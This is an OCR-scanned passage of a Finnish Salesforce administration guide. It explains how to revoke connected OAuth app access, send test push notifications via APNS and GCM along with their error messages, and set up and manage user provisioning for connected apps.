2. Yhdistetyt OAuth-sovellukset -osiosta voit suorittaa seuraavat toimet: KAYTTJAOIKEUDET
e Tarkastele tietoja kustakin etakayttosovelluksesta, joihin sinulla on kdyttdoikeus samoin kuin OAuth-sovellusten hallinta,
niiden kertojen lukumaarad ja viimeista kertaa, kun sovellus yritti kayttaa tietojasi. luominen, muokkaaminen
ja poistaminen:
@ Note: e "Yhdisteftyjen sovellusten

— Sovellus saattaa olla lueteltuna useammin kuin kerran. Joka kerta kun annat hallinta

kdyttooikeuden sopvellukseen, se sisdltda uuden kayttdoikeustunnuksen.
Paivitysvaltuuksien pyynnét nostavat sovellukselle ndytettdvdd Kaytén maara
-arvoa. Sinun taytyy antaa kayttdoikeus Salesforce-tietoihisi kullekin laitteelle, jota
kdytdt, esimerkiksi sekd kannettavalle tietokoneelle ettd péytakoneelle. Oletusraja
on viisi kdyttooikeustunnusta kullekin sovellukselle. Uudemmat sovellukset (jotka
kayttavat OAuth 2.0 -protokollaa) hyvdksytdan automaattisesti lisalaitteille, kun
olet myontdnyt kdyttdoikeuden kerran. OAuth 2.0 -sovellukset saattavat olla
lueteltuna useampaan kertaan. Taulukon kukin rivi osoittaa yksiléllista oikeutta,
joten jos sovellus pyytda useita valtuuksia eri vaikutusalueilla, ndet saman
sovelluksen monta kertaa.

- Vaikka yhdistetty sovellus yritti ja epdonnistui kdyttamadan tietojasi, koska sen
sisadnkirjautuminen ei onnistunut, Kayttdkertojen maara-ja
Viimeksi kaytetty -kentdt pdivitetdan silti.

e Napsauta Kumoa kumotaksesi sovelluksen kayttoikeudet. Kun olet peruuttanut sovelluksen, sovellus ei voi endd kayttda tuota
kyseista etakdyttovaltuutuksen valtuutusta Salesforce -tietojasi kdyttadkseen.

@ Tdrkedd: Sinun taytyy peruuttaa kaikki kayttooikeustunnukset maaratylle sovellukselle estddksesi sita kayttamasta
Salesforce-tietojasi.
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Jos kaytat Salesforce Classic Mobile-sovellusta ja haluat kdyttda uutta mobiililaitetta, lataa sovellus uudelle laitteelle ja kirjaudu sisaan.

Sinun ei tarvitse kumota valtuutta vanhalla laitteella, silld Salesforce luo automaattisesti uuden.

KATSO MYOS:
Yhdistetyt sovellukset
Yhdistetyn sovelluksen luominen

Yhdistetyn sovelluksen muokkaaminen

Tyontdilmoitusten testaaminen

Jos haluat testata tyontoilmoitusten madritykset, kdytd Laheta testi-ilmoitus -sivua. Laheta
testi-ilmoitus -sivun avulla voit madrittad kaksisuuntaisten tydntdilmoitusten vikoja synkronoidulla
mekanismilla ilman, ettd sinun tdytyisi madrittad Apex- tai REST-kutsuja. Se voi my®s tarjota tietoja
siitd, mitd tapahtuu todellisten tydntoilmoitusten ei-synkronoidun ympdriston kulisseissa.

Tyontailmoitusten rajoitukset

Kunkin Salesforce-organisaatioosi liittyvan mobiilisovelluksen sallimien tydntéilmoitusten
enimmdismaard riippuu sovelluksesi tyypista.

Mobiilisovelluksen tyyppi limoitus enimmaismdadrd per sovellus

per pdivd
Salesforce tarjoamat (esimerkiksi Salesforce1) 50 000
Yhtiosi kehittamdt ja tyontekijoiden sisdiseen 35 000
kdyttoon tarkoitetut
AppExchange-palvelusta asennetut 5000

Vain toimitettavat ilmoitukset lasketaan tahan rajoitukseen. Oletetaan esimerkiksi, etta iimoitus

ldhetetdan 1000:lle yhtiosi tydntekijalle, mutta 100 tydntekijaa ei ole vield asentanut mobiilisovellusta.

Rajoitukseen lasketaan vain ilmoitukset, jotka lahetetadn 900:lle mobiilisovelluksen asentaneelle
kayttajalle.

Testityontdilmoitus-sivulta luodut testitydntdilmoitukset on rajoitettu yhdelle vastaanottajalle.
Testityontoilmoitukset lasketaan sovelluksen péivittaisiin tydntoilmoitusten rajoituksiin.

Tietoja Lahetd testi-ilmoitus -sivusta

EDITION-VERSIOT

Kéytettavissd: Salesforce
Classicissa ja Lightning
Experiencessa

Yhdistettyj& sovelluksia voi
luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

Yhdistettyjd sovelluksia voi
asentaa: kaikissa versioissa

KAYTTJAOIKEUDET

Testityontoilmoitusten
ldhettdminen
Testityontoilmoitukset-sivulta:
e Apex-laadintaoikeus

JA

Yhdistettyjen sovellusten
hallintaoikeus

Lahetd testi-ilmoitus -sivu kdyttad Apple Push Notification Service (APNS)- tai Google Cloud Messaging for Android (GCM) -méarityksistdsi
saatuja tietoja synkronoidun tydntémekanismin maarittamiseen. Valitse tydntéilmoitukset vastaanottava laite sydttamalld yhteysvaltuuden
merkkijono. Jos et tiedd valtuuden merkkijonoa, voit kayttad Haku-tyokalua valitaksesi sen yhdistettyyn sovellukseesi rekisteroityjen

laitteiden luettelosta. Haku-tyokalu ndyttdd automaattisesti viisi viimeksi rekisterdityd laitetta. Voit my6s sy6ttda kayttdjan nimen hakeaksesi

hanelle rekisteroityjd laitteita.

Voit valita Android GCM -tyéntéilmoituksia varten Kuivaharjoittelu-vaihtoehdon testataksesi GCM-madarityksidsi. Tamd vaihtoehto ldhettdd

iimoituksen GCM-palvelimelle, mutta ei valita sitd laitteelle.

Jokainen tyontoyritys palauttaa tilaviestin, joka ilmoittaa, onnistuiko vai epdonnistuko se. Viestien selitykset ovat kohdassa Tyontdilmoitusten

virheviestit. Katso lisatietoja tdalta:
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developer.apple.com saadaksesi lisatietoja Apple APNS -tyéntoilmoituksista.

developer.android.com saadaksesi lisdtietoja GCM for Android -tydntéilmoituksista.

Testisivulle siirtyminen:

1.
2.
3.

Kirjoita Maaritykset-valikon Pikahaku-kenttddn Sovellukset ja valitse Sovellukset.
Napsauta yhdistetyn sovelluksesi nimed.

Napsauta Tuettu tyéntdalusta -kohdan vierestd Laheta testi-ilmoitus. Tama linkki ndytetadn vain, jos olet madrittanyt yhdistetyn
sovelluksesi tukemaan mobiileja tydntéilmoituksia.

@ Note: Varmista, etta yhdistetyn sovelluksesi mobiiliasetukset on maaritetty oikein ennen kuin yritat Idhettad testitydntoilmoituksia.

Lisdtietoja on kohdassa Yhdistetyn sovelluksen luominen.

Tyontoilmoitukset eivat ole kaytettavissa konsolissa Professional Edition -versiolla.

TASSA OSIOSSA:

Testityontoéilmoitusten lahettaminen APNS-palveluun

Jos haluat testata tyontoilmoitusten maaritykset pikaisesti Apple Push Notification Service (APNS) -palvelua varten, kdyté Lahetd
testi-ilmoitus -sivua.

Testityontéilmoitusten lahettdminen GCM-palveluun Androidia varten

Jos haluat testata tyontdilmoitusten madritykset pikaisesti Google Cloud Messaging -palveluun Androidia (GCM) varten, kayta Lahetd
testi-ilmoitus -sivua.

Tyontsilmoitusten virheviestit

Jos saat virheviestin ldhettdessasi tyontdilmoitusta Lahetad testi-ilmoitus -sivulta, katso ehdotuksia ongelman ratkaisemiseen alla
olevasta taulukosta.

Testityontéilmoitusten IGhettdminen APNS-palveluun

Jos haluat testata tyontoilmoitusten madritykset pikaisesti Apple Push Notification Service (APNS) -palvelua varten, kdyta Laheta
testi-ilmoitus -sivua.

1.

Sy6ta Vastaanottaja-kenttddn yhteysvaltuuden merkkijono TAI hae vastaanottajaa napsauttamalla Hae 2 ja valitse jokin hakutuloksista.
Hakutulosten luettelo ndyttaa oletusarvoisesti viisi viimeksi yhdistetylle sovelluksellesi rekisterditya laitetta.

a. Jos haluat 16ytad muita laitteita, syota kayttajanimi Hae-tekstikenttadn.

b. Napsauta Siirry nahdaksesi luettelon laitteista, jotka on tdlla hetkelld rekisterdity kyseiselld kdyttdjanimelld.

Jos kyseessa on Halytys, syotd hélytysviesti tai sanasto Applen ohjeiden mukaan.
Jos kyseessa on Badge, syotd badge-numero tai 0, eli ei badgea.

Jos kyseessa on Adni, anna danitiedoston nimi sovellus-bundleen tai kirjoita default kiyttadksesi jarjestelman oletusarvoista
halytysaantd.

. Jos haluat kdyttdd mukautettua tietosisdltod, syotd tietosisallon JSON-arvo Mukautettu tietosisaltd -kenttadn.

Napsauta Laheta ldhettdaksesi testitydntdilmoituksen tai napsauta Tyhjenna tyhjentddksesi lomakkeen.

KATSO MYOS:

Tyontoilmoitusten testaaminen
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Testityontoilmoitusten IGhettdminen GCM-palveluun Androidia varten

Jos haluat testata tyontoilmoitusten mdaritykset pikaisesti Google Cloud Messaging -palveluun Androidia (GCM) varten, kdyta Lahetd

testi-ilmoitus -sivua.

1. Sy6ta Vastaanottaja-kenttddn yhteysvaltuuden merkkijono TAI hae vastaanottajaa napsauttamalla Hae 2| ja valitse jokin hakutuloksista.
Hakutulosten luettelo ndyttda oletusarvoisesti viisi viimeksi yhdistetylle sovelluksellesi rekisterditya laitetta.

a. Jos haluat 16ytad muita laitteita, syota kayttajanimi Hae-tekstikenttadn.

b. Napsauta Siirry ndhdaksesi luettelon laitteista, jotka on talla hetkelld rekisterdity kyseiselld kdyttdjanimella.

2. Syota tietosisallolle JSSON-arvo, joka sisaltaa viestisi.

3. Jos haluat lahettad tyontéilmoituksetn vain GCM-palvelimeen, valitse Kuivaharjoittelu.

4. Napsauta Laheta ldhettddksesi testityontéilmoituksen tai napsauta Tyhjenna tyhjentdaksesi lomakkeen.

KATSO MYOS:

Tyontoilmoitusten testaaminen

Tyontdilmoitusten virheviestit

Jos saat virheviestin ldhettdessasi tydntoilmoitusta Laheta testi-ilmoitus -sivulta, katso ehdotuksia ongelman ratkaisemiseen alla olevasta

taulukosta.
Viesti

Pdivittdinen tyontoilmoitusten rajoitus on ylitetty talle yhdistetylle
sovellukselle

Apple-tyontdilmoitusten palvelu ei hyvdksy sertifikaattia
Sertifikaatti on kumottu

Sertifikaatti on vanhentunut

Sertifikaatti ei ole vield kdypa

Virheellinen sertifikaatti tai salasana

Virheellinen vastaanottaja tai tietosisaltd

Tietosisaltd ylittad enimmaiskoon

Tyontsilmoitusten asetusten lataaminen epaonnistui
Vastaanottaja-kentta sisdltaa virheellisen laitevaltuuden

Laitevaltuuden pituus ei kelpaa

Virhe lahetettdessa ilmoitusta. Varmista, ettd sertifikaatti on
asianmukainen Apple-ymparistolle.

Apple-tyontdilmoituspalvelu ei ole kdytettavissa.

Yhteyden muodostaminen Apple-tydntdilmoituspalveluun
epaonnistui

Ehdotettu ratkaisu

Koska paivittainen rajoitus on ehdoton, ratkaisua ongelmaan eiole.

Korvaa sertifikaatti toimivalla tyypilld.

Tarjoa voimassa oleva sertifikaatti.

Uudista sertifikaatti.

Yritd myéhemmin uudelleen.

Korvaa sertifikaatti toimivalla tyypilla.

Tarkasta sy6ttamasi tiedot virheiden varalta.
Pienennd tietosisalldn kokoa.

Varmista, ettd yhdistetty sovellus sisdltad asetukset.
Tarjoa toimiva laitevaltuus.

Valtuus sydtettiin vadrin tai se on korruptoitunut. Syota valtuus
uudelleen.

Varmista, ettd kaytdt oikeaa sertifikaattia (esimerkiksi sandbox vai
tuotanto).

Yritd mydhemmin uudelleen.

Yritd myéhemmin uudelleen.
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Viesti

Yhteyden muodostaminen Salesforce-vilityspalvelimeen
epdonnistui. Ota yhteyttd Salesforce:en, jos ongelma ei katoa.

Salesforce:n vilityspalvelin esti pyynnon Ota yhteyttd Salesforce:en,
jos ongelma ei katoa.

Apple-tyontdilmoituspalvelu palautti tuntemattoman virheen
Badgen on oltava numero
Tietosisallon taytyy olla kelvollisessa JSON-muodossa

Sinun taytyy sy6ttda arvo vahintadn yhdelle ndistd kentista: Halytys,
Badge, Aéni tai Mukautettu tietosisaltd

Vastaanottaja vaaditaan

Google Cloud Messaging -todennusvirhe

Sisdinen virhe Google Cloud Messaging -palvelimessa, palvelin
saattaa olla hetkellisesti poissa kdytosta

Vastaanottaja-kentan rekisterdintitunnus on muotoiltu vaarin

Tietosisalto ylittad enimmaiskoon

Vastaanottaja-kenttd sisdltad rekisterdintitunnuksen, joka ei ole
kdypa yhdistetyn sovelluksen API-palvelinavaimelle

Vastaanottaja vaaditaan
Vastaanottaja-kentta sisdltaa virheellisen rekisterdintitunnuksen

GCM-palvelin palautti tuntemattoman virheen. Ota yhteyttd SFDC:n
tukitiimiin.

llmeni tuntematon virhe. Ota yhteyttd SFDC:n tukitiimiin.

KATSO MYOS:
Yhdistetyn sovelluksen luominen

Tyontoilmoitusten testaaminen

Sovellusten integrointi Salesforcen kanssa

Ehdotettu ratkaisu

Yritd myéhemmin uudelleen.

Yritd myéhemmin uudelleen.

Ota yhteyttd Appleen tai yritd mychemmin uudelleen.
Syotd badge-arvo uudelleen kokonaislukuna.
Muotoilu tietosisaltd oikein.

Sy6ta kdypa arvo jollekin ndista kentista.

Tarjoa laitevaltuus.

Tarkasta GCM-dokumentaatio osoitteesta developer.android.com.
Mahdolliset syyt:

e Todennuksen otsikko puuttuu tai sisdltaa virheellisen syntaksin.
e Virheellinen projektinumero ldhetettiin avaimena.
e Avain on kdypa, mutta GCM-palvelu ei ole kdytossa.

e Pyynto tuli palvelimelta, joka ei sisally luotettuihin
palvelinavainten IP-osoitteisiin.

Yritd mychemmin uudelleen.

Varmista, ettd mobiilisovellus tarjoaa kdypaa rekistergintitunnusta,
tai syotd kdypa rekisterdintitunnus manuaalisesti.

Pienenna tietosisallon kokoa.

Anna sovellukselle oikea palvelinavain.

Valitse vastaanottaja tai anna rekisterdintitunnus.
Pdivitd vastaanottajan laitteen rekisterdintitunnus

Ota yhteytta salesforce.com:iin.

Ota yhteyttd salesforce.com:iin.
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Yhdistettyjen sovellusten kayttdjien provisiointi

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdistetty|d sovelluksia vol

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttdoikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition

Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa

paivittaminen: Yhdistettyja sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa
AppExchange-palvelusta Edition-versiossa

Padkayttajana voit kdyttdd yhdistetyissa sovelluksissa kayttdjien provisiointia luodaksesi, pdivittdaksesija poistaaksesi kolmannen osapuolen
sovelluksen kayttdjatileja Salesforce-organisaatiosi kdyttdjien perusteella. Voit maarittaa Salesforce-kayttdjillesi tilien automaattisen
luonnin, péivityksen ja deaktivoinnin eri palveluille, kuten Google Apps ja Box. Voit myds hakea olemassa olevia kayttajatilejd kolmannen
osapuolen jdrjestelmastd ja tutkia, onko ne jo linkitetty Salesforce-kayttajatiliin.

Yhdistetyt sovellukset linkittdvat kdyttdjasi kolmansien osapuolten palveluihin ja sovelluksiin. Yhdistettyjen sovellusten kayttdjien
provisiointi sallii sinun luoda, pdivittda ja hallita ndiden palveluiden ja sovellusten kdyttajatileja. Tamd ominaisuus yksinkertaistaa tilien
luomista Google Appsin kaltaisille palveluille ja linkittad Salesforce-kayttdjiesi tilit heiddn ulkoisten palveluiden tileihinsd. Kun tilit on
linkitetty, voit madrittda sovelluskaynnistimen, jolloin kdyttdjdsi napsauttavat yhdistetyn sovelluksen kuvaketta sovelluskaynnistimesta
padstakseen heti kohdepalveluun.

Kayttajien provisiointi koskee vain kayttdjia, joilla on kohdistettu profiili tai kdyttdoikeusjoukko, joka sallii heiddn kdyttad madritettyd

yhdistettyd sovellusta. Voit esimerkiksi maarittda organisaatiossasi kdyttdjien provisioinnin yhdistetylle Google Apps -sovellukselle. Kohdista
sitten yhdistetylle sovellukselle "Tydntekijat"-profiili. Kun organisaatiossasi luodaan uusi kdyttdja ja hanet kohdistetaan "Tydntekijat"-profiiliin,
kdyttdja provisioidaan automaattisesti Google Apps -palvelussa. Lisdksi, kun kdyttdjan aktivointi kumotaan tai hanelle kohdistetaan toinen

profiili, kdyttdjan provisiointi kumotaan automaattisesti Google Apps -palvelusta.
Salesforce tarjoaa ohjatun toiminnon, joka auttaa sinua madrittamdan kdyttdjien provisiointiasetukset kaikille yhdistetyille sovelluksille.

Lisdksi voit suorittaa raportteja ndhdaksesi kenelld on tiettyjen kolmansien osapuolten sovellusten kdyttdoikeudet. Voit tehda tdman
keskitetysta ndkymdstd, joka ndyttda kaikkien yhdistettyjen sovellusten kaikki kayttajatilit.

Kayttdjien provisiointipyynnot

Kun olet maarittanyt kdyttajien provisioinnin, Salesforce hallitsee kolmansien osapuolten jarjestelmien péivityspyyntoja. Salesforce lahettda
kayttdjien provisiointipyyntéja kolmannen osapuolen jdrjestelmalle organisaatiosi tiettyjen tapahtumien perusteella, joko kayttoliittymastd
tai API-kutsujen avulla. Seuraavassa taulukossa ndytetddn tapahtumat, jotka kdynnistavat kdyttdjien provisiointipyyntéja.

Tapahtuma Toiminto Obijekti
Luo kayttaja Luonti User
Paivita kdyttdja (valituille attribuuteille) Paivitys User
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Tapahtuma Toiminto Obijekti

Poista kdyttdja kdytosta Aktivoinnin kumoaminen User

Ota kayttdja kayttdon Aktivoi User

Jaddytd kdyttdja Jaadytys UserlLogin

Kumoa kayttajan jaadytys Jaadytyksen kumoaminen UserLogin

Aktivoi kdyttdja uudelleen Uudelleenaktivointi User

Muuta kdyttdjéprofiilia Luonti / Aktivoinnin kumoaminen User

Kohdista kdyttdoikeusjoukko kayttdjalle /  Luonti/ Aktivoinnin kumoaminen PermissionSetAssignment

Poista kdyttooikeusjoukko kayttajalta

Kohdista profiili yhdistettyyn sovellukseen  Luonti/ Aktivoinnin kumoaminen SetupEntityAccess
/ Kumoa kohdistus

Kohdista kayttdoikeusjoukko yhdistettyyn  Luonti/ Aktivoinnin kumoaminen SetupEntityAccess
sovellukseen / Kumoa kohdistus

Toiminnon arvo tallennetaan UserProvisioningRequest-objektiin. Salesforce voi kdsitelld pyynndn valittdmasti tai odottaa
hyvaksymisprosessin valmistumista (jos lisadt hyvaksymisprosessin kdyttdjien ohjatussa provisiointitoiminnossa). Salesforce kdyttaa
pyynnon kasittelemiseen kulkua, jonka tyyppion Kayttdjien provisiointi jajoka sisdltda viitteen Apex-luokkaan
UserProvisioningPlugin. Kulku kutsuu kolmannen osapuolen palvelun APl:a hallitakseen sen kdyttajatilien provisiointia.

Jos haluat ldhettdd kayttdjien provisiontipyyntoja Active Directory -tapahtumien perusteella, kdytd Salesforce Identity Connectia kaapataksesi
kyseiset tapahtumat ja synkronoidaksesi ne Salesforce-organisaatioosi. Talldin Salesforce Idhettad kdyttajien provisiointipyynnét kolmannen
osapuolen jdrjestelmadn provisioidakseen kayttdjid tai kumotakseen kayttdjien provisioinnin.

Rajoitukset

Oikeutukset
Palveluntarjoajan rooleja ja kayttdoikeuksia ei voi hallita tai sédilyttad Salesforce-organisaatiossa. Tastd johtuen tiettyja palveluntarjoajien
resurssien oikeutuksia ei sisallytetd mukaan, kun kayttdja pyytda kdyttdoikeutta kolmannen osapuolen sovellukseen, jossa on kdyttdjien
provisiointi kdytossd. Vaikka palveluntarjoajaan voi luoda kayttdjatilin, kdyttajatilien lisarooleja ja -kayttdoikeuksia tulisi hallita
palveluntarjoajan kautta.

Ajoitettu tilien tasmaytys

Suorita kdyttdjien ohjattu provisiointitoiminto joka kerta, kun haluat keratd ja analysoida kolmannen osapuolen jarjestelman kayttajid.
Et voi madrittda automaattisen kerayksen ja analyysin yleisyytta.

Kayttooikeuden sertifiointi uudelleen
Kun kayttdjalle on luotu tili, palveluntarjoajan taytyy tarkastaa kayttajan kayttdoikeudet palveluntarjoajan resursseihin.

KATSO MYOS:
Kayttdjien provisioinnin madrittdminen yhdistetyille sovelluksille
Kayttdjien provisioinnin luominen yhdistettyjen sovellusten mukautetuille raporteille

Yhdistetyt sovellukset
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Kdayttdjien provisioinnin madrittdminen yhdistetyille sovelluksille

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdisteftyj sovelluksia voi

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttooikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition

Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa

paiviftaminen: Yhdistettyjé sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa
AppExchange-palvelusta Edition-versiossa

Maaritd yhdistetty sovellus sddstadksesi aikaa kayttdjien provisioinnissa sovelluksille.
Salesforce tarjoaa ohjatun toiminnon, joka auttaa sinua madrittdmaan kayttajien provisiointiasetukset kaikille yhdistetyille sovelluksille.
Tarvitset seuraavat asiat ennen ohjatun toiminnon kdyttamista.

Yhdistetyn sovelluksen kolmannen osapuolen palvelua varten
Mikd tahansa yhdistetty sovellus, joka tukee kdyttdjien provisiointia, mukaan lukien "kirjanmerkki"-tyyppinen yhdistetty sovellus.

Nimetyt tunnukset
Nimetyt tunnukset tunnistavat kolmannen osapuolen jarjestelmdn ja sen todennusasetukset. Kolmannen osapuolen jdrjestelmaan
tehtdvat kutsut, kuten tilien luonti-, muokkaus- ja poistokutsut, kdyttavat kolmannen osapuolen todennusasetuksia nimetyssa
tunnuksessa. Madrita nimetylle tunnukselle nimetty periaate. Nimetty periaate voi olla kolmannen osapuolen jdrjestelmdssa oleva

tili tai organisaatiossasi olevan todentajan OAuth-valtuutus. Kayttajien ohjattu provisiointitoiminto pyytaa tdta nimettyd tunnusta.

Flow Designer -suunnitteluohjelmalla luotu kulku
Kulut hallitsevat kolmannen osapuolen jarjestelmélle lahetettyja provisiointipyyntéja. Salesforce tarjoaa useita paketteja, jotka sisaltavat

esimadritettyjd kulkuja, jotta kdyttdjien provisioinnin madrittdminen olisi yksinkertaisempaa (tulossa pian!). Liitdt jonkin ndista kuluista
yhdistettyyn sovellukseen kdyttdjien ohjatun provisiointitoiminnon avulla.
Voit myds luoda oman kulkusi. Lisatietoja on kohdassa Oman kayttdjien provisiointikulun luominen.
Jos kayttajien provisiointi on kdytdssd, kaynnistd kdyttdjien ohjattu provisiointitoiminto nykyiselle yhdistetylle sovellukselle seuraamalla
naitd ohjeita.
1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Yhdistetyt sovellukset javalitse yhdistettyjen sovellusten
hallintavaihtoehto.
Napsauta yhdistetyn sovelluksen nimea.
Napsauta yhdistetyn sovelluksen lisdtietosivulta Muokkaa.

Valitse Kayttajien provisioinnin asetukset -osiosta Ota kdyttdjien provisiointi kdyttoon.

i w N

Napsauta Tallenna.
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Kun napsautat Tallenna, Salesforce palauttaa sinut yhdistetyn sovelluksen lisatietosivulle. Avaa yhdistetyn sovelluksen lisatietosivu
kirjoittamalla Madritykset-valikon Pikahaku-kenttddn Yhdistetyt sovellukset javalitsemallayhdistettyjen sovellusten
hallintavaihtoehdon. Napsauta yhdistetyn sovelluksen nimed.

6. Napsauta Kayttdjien provisioinnin asetukset -osiosta Kdynnista kayttajien ohjattu provisiointitoiminto kdynnistadksesi ohjatun
toiminnon.

Kun kayttdjien ohjattu provisiointitoiminto on valmis, voit palata yhdistetyn sovelluksen lisatietosivulle muokataksesi yksittaisen kayttdjan
tilitietoja tehdaksesi pikaisia paivityksid. Kirjoita Madritykset-valikon Pikahaku-kenttddn Yhdistetyt sovellukset, valitse
yhdistettyjen sovellusten hallintavaihtoehto ja napsauta yhdistetyn sovelluksen nimead. Kaikki kayttajat [6ytyvat yhdistetyn sovelluksen
lisdtietosivun Kayttdjatilit-osiossa. Voit myds suorittaa ohjatun toiminnon uudelleen keratdksesi ja analysoidaksesi tileja kolmannen
osapuolen jdrjestelmastd, muuttaaksesi kokoonpanoa ja kasitelldksesi kaikki tilit.

Jos lisasit kdyttdjien ohjatussa provisiointitoiminnossa hyvaksymisprosessin, Hyvaksymisprosessi-kenttd on valittuna lisdtietosivulla.

Oman kayttdjien provisiointikulun luominen

Luo oma kulkusi, jos pakatut kulut eivdt tue haluamaasi kolmannen osapuolen jérjestelmda tai jos haluat mukauttaa ratkaisua. Kaytd
Apex-luokkaa UserProvisioningPlugin javakio-objekteja UserProvisioningRequest ja UserProvAccount. Kun luot oman kulun,
tallenna sen tyypiksi Kdyttdjien provisiointi.Varmistaennenoman kulunluomista, ettd osaatluoda kulkuja Flow Designer
-suunnitteluohjelmassa ja laatia Apex-kdynnistimid. Kulkusi tulee sisdltad seuraavat kohteet.

e Apex-kdynnistin, joka kdyttdd UserProvisioningPlugin-luokkaa
e Seuraava input- ja output-muuttujat kulussa
- Input: User, UserProvisioningRequest, UserProvAccount
- Output: ExternalUserId, ExternalUsername, ExternalFirstName, ExternalLastName,
ExternalEmail, Details, Status
e Vahintdan yksi kulun Apex-litannainen seuraavilla input- ja output-parametreilld
— Input: userProvisioningRequestId, userId, namedCredDevName, reconFilter, reconOffset
- Output: ExternalUserId, ExternalUsername, ExternalFirstName, ExternalLastName,

ExternalEmail, Details, Status, reconState, nextReconOffset

® Lookup User -tietueen hakuelementti, joka muokkaa Salesforce-kayttdjien ja kolmannen osapuolen jarjestelman kayttdjien tilien
valista linkitysta.

KATSO MYOS:
Yhdistettyjen sovellusten kayttajien provisiointi
Yhdistetyn sovelluksen luominen
Apex Developer Guide

Kayttdjien provisioinnin luominen yhdistettyjen sovellusten mukautetuille raporteille
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Kayttdjien provisiointipyyntéjen hallinta

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kaytettavissa: Salesforce
Luomi sivittaminen tai poistaminen:  Sovelluk Kautusoikeus JA iok Classicissa ja Lightning
uominen, pdivittdminen tai poistaminen: ovelluksen mukautusoikeus JA joko Experiencessa

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdisteftyj sovelluksia voi

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttooikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa
pdivittédminen:

Yhdistettyj& sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa.
AppExchange-palvelusta

Kun olet mdarittanyt kdyttdjien provisioinnin yhdistetylle sovellukselle, voit hallita yksittdisten kdyttéjatilien provisioinnin, provisioinnin
kumoamisen ja paivitysten asetuksia ja hyvdksyntojd.

Kéyta seuraavia resursseja hallitaksesi yksittdisid pyynt6ja ja kdyttajatileja.

Kayttdjien provisiointipyynnot -valilehti

Kayttdjien provisiointipyynnét -vdlilehdesta voit tarkastella yksittdisen kayttdjan provisiointipyynndn lisatietoja ja hallita sen hyvaksyntoja.
Kayttdjan provisiointipyynndn lisatiedot sisaltdvat tietoja pyynnon ja hyvaksynnan tilasta (jos sellainen vaaditaan ja on maaritetty).

Napsauta kayttdjan provisiointipyynndn Nimi-kentan arvoa nahdaksesi sen lisatiedot, mukaan lukien seuraavat.

Toiminto
Nykyisen pyynnén toiminto. Mahdolliset arvot ovat:

® Luo
¢ Lue
® Paivita
® Kumoa aktivointi
® Aktivoi
e Jiadyta
® Kumoa jaadytys
® Sovittele (vertaa Salesforce-tilia kolmannen osapuolen jarjestelmdssa olevaan tiliin)
e Linkitys (muuttaatdmdnhetkistd Linkin tila -arvoa)
Tila
T1la-arvo muuttuu sovitteluprosessin aikana kerdtakseen ja verratakseen kolmannen osapuolen jarjestelmdssd olevia kayttajatilejd

Salesforce-kayttdjatileihin. Kun kayttdjan provisiointipyyntd luodaan ensimmadistd kertaa, sen T1ila-arvo on tavallisesti Uusi.Kun
kerdysprosessialkaa T11a-arvoksi muuttuu Kerataén, kunnes prosessi on valmis. Kun prosession valmis, Tila on Ker&tty.
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Jos analysointiprosessi kaynnistyy tilien vélisten eroavaisuuksien takia, Ti1a-arvoksi muuttuu Analysoidaan, kunnes prosessi
on valmis. Kun prosession valmis, Tila on Analysoitu.Jos prosessilahettad linkitysasetusten perusteella pyynndn, T11a-arvoksi
muuttuu Sidotaan ja Salesforce paivittdd kdyttdjatilin ominaisuudet asianmukaisesti. Kun péivitysprosessi on valmis, Ti 1a-arvoksi
muuttuu Valmis.

Tila eikuitenkaan ole vélttamattd aina aluksi Uusi. Jos jokin mukautettu prosessi kdynnistad pyynnon tilien sovittamiseen,
pyynnén Tila-arvosaattaaolla Analysoidaan.

Lisdksi Tila eivoi palautua taaksepdin aktiivisesta tehtavasta. Esimerkiksi onnistuneen Tila-arvon Analysoidaan tdytyy
olla seuraavaksi Analysoituy, ellei aktiivinen prosessi epdonnistu, jolloin Ti1a-arvoksi muuttuu Epdonnistui.

Jos napsautit Kayttajien provisiointitili -kentdn arvoa, ndet kayttdjan tilin lisatiedot. Seuraavissa kentissa on valintaluettelokenttd, joka
kuvaa kayttajatilin nykyisen tilan.

Tila
Tilin tila kohdejarjestelméassa. Mahdolliset arvot ovat:
e Aktiivinen
® Aktivointi kumottu
® Poistettu
